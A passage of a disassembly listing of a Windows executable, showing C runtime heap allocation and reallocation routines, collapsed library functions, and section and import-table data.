short locret_4CCEF0 push 10h call sub_4CCD93 pop ecx locret_4CCEF0: ; CODE XREF: sub_4CCEAC+2Bj ; sub_4CCEAC+3Aj retn sub_4CCEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCEF1 proc near ; CODE XREF: sub_4CA24A+5Fp ; sub_4CA3A2+4Ap ... Val = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_4F1778 push edi loc_4CCEFF: ; CODE XREF: sub_4CCEF1+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_4CCFAA mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_4CCF64 loc_4CCF2A: ; CODE XREF: sub_4CCEF1+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_4CCF4D cmp [edi+4], ebx jbe short loc_4CCF4D push ebx push ecx push eax call sub_4CD0F9 add esp, 0Ch test eax, eax jnz short loc_4CCFBC mov eax, [ebp+var_4] mov [edi+4], ebx loc_4CCF4D: ; CODE XREF: sub_4CCEF1+40j ; sub_4CCEF1+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_4CCF2A jmp short loc_4CCF67 ; --------------------------------------------------------------------------- loc_4CCF64: ; CODE XREF: sub_4CCEF1+37j mov ebx, [ebp+arg_0] loc_4CCF67: ; CODE XREF: sub_4CCEF1+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+Val], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_4CCFAD loc_4CCF7A: ; CODE XREF: sub_4CCEF1+B5j mov eax, [edi] cmp eax, ebx jl short loc_4CCF99 cmp [edi+4], ebx jbe short loc_4CCF99 push ebx push eax push [ebp+var_4] call sub_4CD0F9 add esp, 0Ch test eax, eax jnz short loc_4CCFBC mov [edi+4], ebx loc_4CCF99: ; CODE XREF: sub_4CCEF1+8Dj ; sub_4CCEF1+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+Val] jb short loc_4CCF7A jmp short loc_4CCFAD ; --------------------------------------------------------------------------- loc_4CCFAA: ; CODE XREF: sub_4CCEF1+14j mov ebx, [ebp+arg_0] loc_4CCFAD: ; CODE XREF: sub_4CCEF1+87j ; sub_4CCEF1+B7j mov esi, [esi] cmp esi, off_4F1778 jz short loc_4CCFCC jmp loc_4CCEFF ; --------------------------------------------------------------------------- loc_4CCFBC: ; CODE XREF: sub_4CCEF1+54j ; sub_4CCEF1+A3j mov off_4F1778, esi sub [edi], ebx mov [esi+8], edi jmp loc_4CD0F4 ; --------------------------------------------------------------------------- loc_4CCFCC: ; CODE XREF: sub_4CCEF1+C4j mov eax, offset off_4EF758 mov edi, eax loc_4CCFD3: ; CODE XREF: sub_4CCEF1+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_4CCFDF cmp dword ptr [edi+0Ch], 0 jnz short loc_4CCFEB loc_4CCFDF: ; CODE XREF: sub_4CCEF1+E6j mov edi, [edi] cmp edi, eax jz loc_4CD0C0 jmp short loc_4CCFD3 ; --------------------------------------------------------------------------- loc_4CCFEB: ; CODE XREF: sub_4CCEF1+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_4CD01A loc_4CD009: ; CODE XREF: sub_4CCEF1+127j cmp [ebp+var_4], 10h jge short loc_4CD01A add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4CD009 loc_4CD01A: ; CODE XREF: sub_4CCEF1+116j ; sub_4CCEF1+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+Val], eax call dword_4ED070 ; VirtualAlloc cmp eax, esi jnz loc_4CD0F2 push 0 ; Size push [ebp+Val] ; Val push esi ; Dst call _memset_0 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_4CD081 lea eax, [esi+4] mov [ebp+var_4], edx loc_4CD057: ; CODE XREF: sub_4CCEF1+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_4CD057 loc_4CD081: ; CODE XREF: sub_4CCEF1+15Ej mov off_4F1778, edi lea eax, [edi+2018h] loc_4CD08D: ; CODE XREF: sub_4CCEF1+1A8j cmp ecx, eax jnb short loc_4CD09D cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_4CD09B add ecx, 8 jmp short loc_4CD08D ; --------------------------------------------------------------------------- loc_4CD09B: ; CODE XREF: sub_4CCEF1+1A3j cmp ecx, eax loc_4CD09D: ; CODE XREF: sub_4CCEF1+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_4CD0F4 ; --------------------------------------------------------------------------- loc_4CD0C0: ; CODE XREF: sub_4CCEF1+F2j call sub_4CCBF9 test eax, eax jz short loc_4CD0F2 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_4F1778, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_4CD0F4 ; --------------------------------------------------------------------------- loc_4CD0F2: ; CODE XREF: sub_4CCEF1+143j ; sub_4CCEF1+1D6j xor eax, eax loc_4CD0F4: ; CODE XREF: sub_4CCEF1+D6j ; sub_4CCEF1+1CDj ... pop edi pop esi pop ebx leave retn sub_4CCEF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD0F9 proc near ; CODE XREF: sub_4CCEF1+4Ap ; sub_4CCEF1+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_4CD13E lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_4CD12D add [ecx], edx sub [ecx+4], edx jmp short loc_4CD136 ; --------------------------------------------------------------------------- loc_4CD12D: ; CODE XREF: sub_4CD0F9+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_4CD136: ; CODE XREF: sub_4CD0F9+32j lea eax, [edi+8] jmp loc_4CD20C ; --------------------------------------------------------------------------- loc_4CD13E: ; CODE XREF: sub_4CD0F9+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_4CD147 mov eax, esi loc_4CD147: ; CODE XREF: sub_4CD0F9+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_4CD191 loc_4CD14E: ; CODE XREF: sub_4CD0F9+96j mov bl, [eax] test bl, bl jnz short loc_4CD184 push 1 lea ebx, [eax+1] pop esi loc_4CD15A: ; CODE XREF: sub_4CD0F9+68j cmp byte ptr [ebx], 0 jnz short loc_4CD163 inc ebx inc esi jmp short loc_4CD15A ; --------------------------------------------------------------------------- loc_4CD163: ; CODE XREF: sub_4CD0F9+64j cmp esi, edx jnb short loc_4CD1B5 cmp eax, [ebp+var_4] jnz short loc_4CD171 mov [ecx+4], esi jmp short loc_4CD17D ; --------------------------------------------------------------------------- loc_4CD171: ; CODE XREF: sub_4CD0F9+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_4CD216 loc_4CD17D: ; CODE XREF: sub_4CD0F9+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_4CD189 ; --------------------------------------------------------------------------- loc_4CD184: ; CODE XREF: sub_4CD0F9+59j movzx esi, bl add eax, esi loc_4CD189: ; CODE XREF: sub_4CD0F9+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_4CD14E loc_4CD191: ; CODE XREF: sub_4CD0F9+53j lea esi, [ecx+8] loc_4CD194: ; CODE XREF: sub_4CD0F9+EBj ; sub_4CD0F9+F2j cmp esi, edi jnb short loc_4CD216 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_4CD216 mov al, [esi] test al, al jnz short loc_4CD1E6 push 1 lea ebx, [esi+1] pop eax loc_4CD1AC: ; CODE XREF: sub_4CD0F9+BAj cmp byte ptr [ebx], 0 jnz short loc_4CD1D6 inc ebx inc eax jmp short loc_4CD1AC ; --------------------------------------------------------------------------- loc_4CD1B5: ; CODE XREF: sub_4CD0F9+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_4CD1C6 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_4CD1CF ; --------------------------------------------------------------------------- loc_4CD1C6: ; CODE XREF: sub_4CD0F9+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_4CD1CF: ; CODE XREF: sub_4CD0F9+CBj mov [eax], dl add eax, 8 jmp short loc_4CD20C ; --------------------------------------------------------------------------- loc_4CD1D6: ; CODE XREF: sub_4CD0F9+B6j cmp eax, edx jnb short loc_4CD1ED sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_4CD216 mov esi, ebx jmp short loc_4CD194 ; --------------------------------------------------------------------------- loc_4CD1E6: ; CODE XREF: sub_4CD0F9+ABj movzx eax, al add esi, eax jmp short loc_4CD194 ; --------------------------------------------------------------------------- loc_4CD1ED: ; CODE XREF: sub_4CD0F9+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_4CD1FE sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_4CD207 ; --------------------------------------------------------------------------- loc_4CD1FE: ; CODE XREF: sub_4CD0F9+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_4CD207: ; CODE XREF: sub_4CD0F9+103j mov [esi], dl lea eax, [esi+8] loc_4CD20C: ; CODE XREF: sub_4CD0F9+40j ; sub_4CD0F9+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_4CD218 ; --------------------------------------------------------------------------- loc_4CD216: ; CODE XREF: sub_4CD0F9+7Ej ; sub_4CD0F9+9Dj ... xor eax, eax loc_4CD218: ; CODE XREF: sub_4CD0F9+11Bj pop edi pop esi pop ebx leave retn sub_4CD0F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD21D proc near ; CODE XREF: sub_4CEEC3+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_4CD257 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_4CD2B7 ; --------------------------------------------------------------------------- loc_4CD257: ; CODE XREF: sub_4CD21D+26j jnb short loc_4CD2BE mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_4CD2BE lea eax, [ecx+edx] loc_4CD26C: ; CODE XREF: sub_4CD21D+59j cmp eax, esi jnb short loc_4CD27A cmp byte ptr [eax], 0 jnz short loc_4CD278 inc eax jmp short loc_4CD26C ; --------------------------------------------------------------------------- loc_4CD278: ; CODE XREF: sub_4CD21D+56j cmp eax, esi loc_4CD27A: ; CODE XREF: sub_4CD21D+51j jnz short loc_4CD2BE mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_4CD2B2 cmp esi, eax jbe short loc_4CD2B2 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_4CD2A9 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_4CD2A4 loc_4CD29D: ; CODE XREF: sub_4CD21D+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_4CD29D loc_4CD2A4: ; CODE XREF: sub_4CD21D+7Ej mov [ebx+4], eax jmp short loc_4CD2B2 ; --------------------------------------------------------------------------- loc_4CD2A9: ; CODE XREF: sub_4CD21D+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_4CD2B2: ; CODE XREF: sub_4CD21D+68j ; sub_4CD21D+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_4CD2B7: ; CODE XREF: sub_4CD21D+38j mov [ebp+var_4], 1 loc_4CD2BE: ; CODE XREF: sub_4CD21D:loc_4CD257j ; sub_4CD21D+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4CD21D endp ; [0000009A BYTES: COLLAPSED FUNCTION __lseek_0. PRESS KEYPAD "+" TO EXPAND] ; [000001AD BYTES: COLLAPSED FUNCTION __write_0. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf_0. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __isatty_0. PRESS KEYPAD "+" TO EXPAND] ; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio_0. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio_0. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _wctomb_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem_0. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp_0. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _getenv_0. PRESS KEYPAD "+" TO EXPAND] ; [000000CB BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CDAAD proc near ; CODE XREF: __ismbblead_0+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4F4DC1[eax], cl jnz short loc_4CDADA cmp [esp+arg_4], 0 jz short loc_4CDAD3 movzx eax, word_4EF35E[eax*2] and eax, [esp+arg_4] jmp short loc_4CDAD5 ; --------------------------------------------------------------------------- loc_4CDAD3: ; CODE XREF: sub_4CDAAD+16j xor eax, eax loc_4CDAD5: ; CODE XREF: sub_4CDAAD+24j test eax, eax jnz short loc_4CDADA retn ; --------------------------------------------------------------------------- loc_4CDADA: ; CODE XREF: sub_4CDAAD+Fj ; sub_4CDAAD+2Aj push 1 pop eax retn sub_4CDAAD endp ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp_0. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP_0. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID_0. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS_0. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow_0. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CDEBE proc near ; CODE XREF: sub_4CBD81+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call _strtoxl_0 add esp, 10h retn sub_4CDEBE endp ; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000080 BYTES: COLLAPSED FUNCTION _strstr_0. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp_0. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA_0. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr_0. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd_0. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle_0. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall_0. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush_0. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __flush_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CE42E proc near ; CODE XREF: ___endstdio_0p push 1 call _flsall_0 pop ecx retn sub_4CE42E endp ; [0000006D BYTES: COLLAPSED FUNCTION _flsall_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CE4A4 proc near ; CODE XREF: __output_0+3AAp ; __output_0+3CBp ... push 2 call __amsg_exit_0 pop ecx retn sub_4CE4A4 endp ; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll_0. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ_0. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA_0. PRESS KEYPAD "+" TO EXPAND] ; [000000CC BYTES: COLLAPSED FUNCTION _toupper_0. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose_0. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __commit_0. PRESS KEYPAD "+" TO EXPAND] ; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA_0. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS KEYPAD "+" TO EXPAND] ; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv_0. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _findenv_0. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ_0. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close_0. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4CEEC3(void *Src,size_t Size) sub_4CEEC3 proc near ; CODE XREF: ___crtsetenv_0+EDp ; ___crtsetenv_0+115p var_4 = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+Src], 0 push ebx push esi push edi jnz short loc_4CEEDE push [ebp+Size] ; Size call _malloc_0 pop ecx jmp loc_4CF15E ; --------------------------------------------------------------------------- loc_4CEEDE: ; CODE XREF: sub_4CEEC3+Bj mov esi, [ebp+Size] test esi, esi jnz short loc_4CEEF3 push [ebp+Src] call sub_4CA2FB pop ecx jmp loc_4CF15C ; --------------------------------------------------------------------------- loc_4CEEF3: ; CODE XREF: sub_4CEEC3+20j mov eax, dword_4F5F04 cmp eax, 3 jnz loc_4CF003 loc_4CEF01: ; CODE XREF: sub_4CEEC3+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4CEFDF push [ebp+Src] call ___sbh_find_block_0 mov ebx, eax pop ecx test ebx, ebx jz loc_4CEFBA cmp esi, dword_4F5EFC ja short loc_4CEF73 mov edi, [ebp+Src] push esi push edi push ebx call ___sbh_resize_block_0 add esp, 0Ch test eax, eax jnz short loc_4CEF6F push esi call ___sbh_alloc_block_0 mov edi, eax pop ecx test edi, edi jz short loc_4CEF73 mov ebx, [ebp+Src] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4CEF53 mov eax, esi loc_4CEF53: ; CODE XREF: sub_4CEEC3+8Cj push eax ; Size push ebx ; Src push edi ; Dst call _memcpy_1 push ebx call ___sbh_find_block_0 push [ebp+Src] mov ebx, eax push ebx call sub_4CC125 add esp, 18h loc_4CEF6F: ; CODE XREF: sub_4CEEC3+74j test edi, edi jnz short loc_4CEFB6 loc_4CEF73: ; CODE XREF: sub_4CEEC3+62j ; sub_4CEEC3+81j test esi, esi jnz short loc_4CEF7A push 1 pop esi loc_4CEF7A: ; CODE XREF: sub_4CEEC3+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4F5F00 call dword_4ED18C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4CEFB6 mov ecx, [ebp+Src] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_4CEFA2 mov eax, esi loc_4CEFA2: ; CODE XREF: sub_4CEEC3+DBj push eax ; Size push ecx ; Src push edi ; Dst call _memcpy_1 push [ebp+Src] push ebx call sub_4CC125 add esp, 14h loc_4CEFB6: ; CODE XREF: sub_4CEEC3+AEj ; sub_4CEEC3+D0j test ebx, ebx jnz short loc_4CEFDB loc_4CEFBA: ; CODE XREF: sub_4CEEC3+56j test esi, esi jnz short loc_4CEFC1 push 1 pop esi loc_4CEFC1: ; CODE XREF: sub_4CEEC3+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4F5F00 call dword_4ED154 ; RtlReAllocateHeap mov edi, eax loc_4CEFDB: ; CODE XREF: sub_4CEEC3+F5j test edi, edi jnz short loc_4CEFFC loc_4CEFDF: ; CODE XREF: sub_4CEEC3+43j cmp dword_4F4C44, 0 jz short loc_4CEFFC push esi call __callnewh_0 test eax, eax pop ecx jnz loc_4CEF01 jmp loc_4CF15C ; --------------------------------------------------------------------------- loc_4CEFFC: ; CODE XREF: sub_4CEEC3+11Aj ; sub_4CEEC3+123j ... mov eax, edi jmp loc_4CF15E ; --------------------------------------------------------------------------- loc_4CF003: ; CODE XREF: sub_4CEEC3+38j cmp eax, 2 jnz loc_4CF11E cmp esi, 0FFFFFFE0h ja short loc_4CF020 test esi, esi jbe short loc_4CF01D add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4CF020 ; --------------------------------------------------------------------------- loc_4CF01D: ; CODE XREF: sub_4CEEC3+150j push 10h pop esi loc_4CF020: ; CODE XREF: sub_4CEEC3+14Cj ; sub_4CEEC3+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4CF100 lea eax, [ebp+Size] push eax lea eax, [ebp+var_4] push eax push [ebp+Src] call sub_4CCE55 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_4CF0E4 cmp esi, dword_4F177C jnb short loc_4CF0A8 mov edi, esi shr edi, 4 push edi push ebx push [ebp+Size] push [ebp+var_4] call sub_4CD21D add esp, 10h test eax, eax jz short loc_4CF06E mov edi, [ebp+Src] jmp short loc_4CF0A0 ; --------------------------------------------------------------------------- loc_4CF06E: ; CODE XREF: sub_4CEEC3+1A4j push edi call sub_4CCEF1 mov edi, eax pop ecx test edi, edi jz short loc_4CF0A8 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_4CF087 mov eax, esi loc_4CF087: ; CODE XREF: sub_4CEEC3+1C0j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy_1 push ebx push [ebp+Size] push [ebp+var_4] call sub_4CCEAC add esp, 18h loc_4CF0A0: ; CODE XREF: sub_4CEEC3+1A9j test edi, edi jnz loc_4CEFFC loc_4CF0A8: ; CODE XREF: sub_4CEEC3+18Bj ; sub_4CEEC3+1B6j push esi push 0 push dword_4F5F00 call dword_4ED18C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4CF100 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_4CF0C9 mov eax, esi loc_4CF0C9: ; CODE XREF: sub_4CEEC3+202j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy_1 push ebx push [ebp+Size] push [ebp+var_4] call sub_4CCEAC add esp, 18h jmp short loc_4CF0F8 ; --------------------------------------------------------------------------- loc_4CF0E4: ; CODE XREF: sub_4CEEC3+17Fj push esi push [ebp+Src] push 0 push dword_4F5F00 call dword_4ED154 ; RtlReAllocateHeap mov edi, eax loc_4CF0F8: ; CODE XREF: sub_4CEEC3+21Fj test edi, edi jnz loc_4CEFFC loc_4CF100: ; CODE XREF: sub_4CEEC3+162j ; sub_4CEEC3+1F8j cmp dword_4F4C44, 0 jz loc_4CEFFC push esi call __callnewh_0 test eax, eax pop ecx jnz loc_4CF020 jmp short loc_4CF15C ; --------------------------------------------------------------------------- loc_4CF11E: ; CODE XREF: sub_4CEEC3+143j ; sub_4CEEC3+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4CF148 test esi, esi jnz short loc_4CF12C push 1 pop esi loc_4CF12C: ; CODE XREF: sub_4CEEC3+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4F5F00 call dword_4ED154 ; RtlReAllocateHeap test eax, eax jnz short loc_4CF15E loc_4CF148: ; CODE XREF: sub_4CEEC3+260j cmp dword_4F4C44, 0 jz short loc_4CF15E push esi call __callnewh_0 test eax, eax pop ecx jnz short loc_4CF11E loc_4CF15C: ; CODE XREF: sub_4CEEC3+2Bj ; sub_4CEEC3+134j ... xor eax, eax loc_4CF15E: ; CODE XREF: sub_4CEEC3+16j ; sub_4CEEC3+13Bj ... pop edi pop esi pop ebx leave retn sub_4CEEC3 endp ; [00000073 BYTES: COLLAPSED FUNCTION __mbschr_0. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4CF210 proc near ; CODE XREF: __global_unwind2_0+13p jmp dword_4ED19C sub_4CF210 endp ; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AD BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION _towlower_0. PRESS KEYPAD "+" TO EXPAND] ; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW_0. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt_0. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _iswctype_0. PRESS KEYPAD "+" TO EXPAND] ; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW_0. PRESS KEYPAD "+" TO EXPAND] align 4 dd 124Fh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: UPX0:off_42D644o dd 23ABh dup(0) _text ends ; Section 5. (virtual address 000DD000) ; Virtual size : 00010000 ( 65536.) ; Section size in file : 00010000 ( 65536.) ; Offset to raw data for section: 000DD000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 4DD000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0C12h dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: UPX0:0042BC94o dd 1040h dup(0) dword_4E414C dd 23ADh dup(0) ; DATA XREF: UPX0:off_42CE44o _adata ends ; Section 6. (virtual address 000ED000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 000ED000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 4ED000h dword_4ED000 dd 77C72C6Bh ; DATA XREF: sub_4B6828+354r ; sub_4B6F14+122r dword_4ED004 dd 77C7DC0Bh ; DATA XREF: sub_4B6828+317r ; sub_4B6F14+CBr dword_4ED008 dd 77C7413Eh ; DATA XREF: sub_4B6828+30Ar ; sub_4B6828+34Ar ... dword_4ED00C dd 77C76B34h ; DATA XREF: sub_4B6828+2E5r dword_4ED010 dd 77C75890h ; DATA XREF: sub_4B6828+2A5r dword_4ED014 dd 77C72889h ; DATA XREF: sub_4B6F14+164r ; 